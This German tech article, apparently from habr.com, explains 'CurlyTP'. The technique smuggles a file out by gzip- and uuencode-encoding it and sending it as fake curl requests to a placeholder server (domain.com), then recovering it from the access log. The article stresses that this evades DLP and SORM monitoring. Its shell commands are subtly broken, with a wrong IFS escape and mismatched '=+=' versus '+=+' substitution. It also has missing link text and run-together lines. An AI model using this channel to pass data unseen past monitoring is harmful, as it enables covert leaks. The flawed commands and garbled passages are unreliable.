Laut Definition auf Wikipedia ist ein Geheimplatz (dead drop) ein Werkzeug der Verschwörung, das dem Austausch von Informationen oder Gegenständen zwischen Personen dient, die einen geheimen Ort nutzen. Der Sinn besteht darin, dass die Menschen sich niemals treffen – dennoch tauschen sie Informationen aus und wahren die operationale Sicherheit.
Der Geheimplatz sollte keine Aufmerksamkeit erregen. Daher werden in der Offline-Welt häufig unauffällige Dinge verwendet: ein loser Ziegel in einer Wand, ein Bibliotheksbuch oder ein Loch in einem Baum.
Im Internet gibt es viele Werkzeuge zur Verschlüsselung und Anonymisierung, aber die Tatsache allein, dass diese Werkzeuge verwendet werden, zieht Aufmerksamkeit auf sich. Darüber hinaus können sie auf Unternehmens- oder Regierungsebene blockiert werden. Was tun?
Entwickler Ryan Flowers schlug eine interessante Option vor – . Wenn man darüber nachdenkt, was macht ein Webserver? Er nimmt Anfragen entgegen, gibt Dateien aus und schreibt Protokolle. Und er zeichnet alle Anfragen auf, auch die falschen.!
Es stellt sich heraus, dass jeder Webserver praktisch beliebige Nachrichten im Log speichern kann. Flowers dachte darüber nach, wie man das nutzen könnte.
Er schlägt folgende Vorgehensweise vor:
- Wir nehmen eine Textdatei (geheime Nachricht) und berechnen den Hash (md5sum).
- Dann kodieren wir sie (gzip + uuencode).
- Wir schreiben ins Log durch bewusst fehlerhafte Anfragen an den Server.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n'; for x in `cat g.txt.uue | sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x"; done | shUm die Datei zu lesen, müssen diese Schritte in umgekehrter Reihenfolge ausgeführt werden: die Datei dekodieren und entpacken, den Hash überprüfen (der Hash kann sicher über offene Kanäle übertragen werden).
Leerzeichen werden durch =+=, ersetzt, damit es keine Leerzeichen in der Adresse gibt. Das Programm, das der Autor CurlyTP nennt, verwendet die Kodierung base64, wie in E-Mail-Anhängen. Die Anfrage erfolgt mit dem Schlüsselwort ?transfer?, damit der Empfänger es leicht in den Logs findet.
Was sehen wir in den Logs in einem solchen Fall?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"Wie bereits erwähnt, müssen für den Erhalt der geheimen Nachricht die Operationen in umgekehrter Reihenfolge durchgeführt werden:
Remote-Maschine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/+=+/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gDer Prozess lässt sich leicht automatisieren. Der Md5sum stimmt überein, und der Inhalt der Datei bestätigt, dass alles korrekt dekodiert wurde.
Die Methode ist sehr einfach. "Der Sinn dieser Übung besteht nur darin, zu beweisen, dass Dateien über harmlose kleine Webanfragen übertragen werden können, und das funktioniert auf jedem Webserver mit normalen Textlogs. Im Grunde genommen ist jeder Webserver ein Versteck!", schreibt Flowers.
Natürlich funktioniert die Methode nur, wenn der Empfänger Zugriff auf die Serverprotokolle hat. Viele Hosting-Anbieter gewähren jedoch solchen Zugang.
Wie wird das verwendet?
Ryan Flowers sagt, dass er kein Experte für Informationssicherheit ist und keine Liste möglicher Anwendungen von CurlyTP erstellen wird. Für ihn ist es lediglich ein Proof of Concept, dass alltägliche Werkzeuge, die wir täglich sehen, auf unkonventionelle Weise genutzt werden können.
Tatsächlich hat diese Methode eine Reihe von Vorteilen gegenüber anderen serverseitigen "Verstecken"-Methoden wie oder : sie erfordert keine spezielle Konfiguration auf der Serverseite oder besondere Protokolle und wird keine Verdachtsmomente bei denjenigen hervorrufen, die den Datenverkehr überwachen. Es ist unwahrscheinlich, dass SORM oder ein DLP-System URLs auf komprimierte Textdateien scannen.
Es ist eine Möglichkeit, Nachrichten durch Dienstdateien zu übermitteln. Man kann sich daran erinnern, wie früher einige fortschrittliche Unternehmen oder im HTML-Code von Webseiten platzierten.

Die Idee war, dass solche „Easter Eggs“ nur von Webentwicklern entdeckt werden, da der normale Mensch nicht die Überschriften oder den HTML-Code durchsuchen wird.
Quelle: habr.com
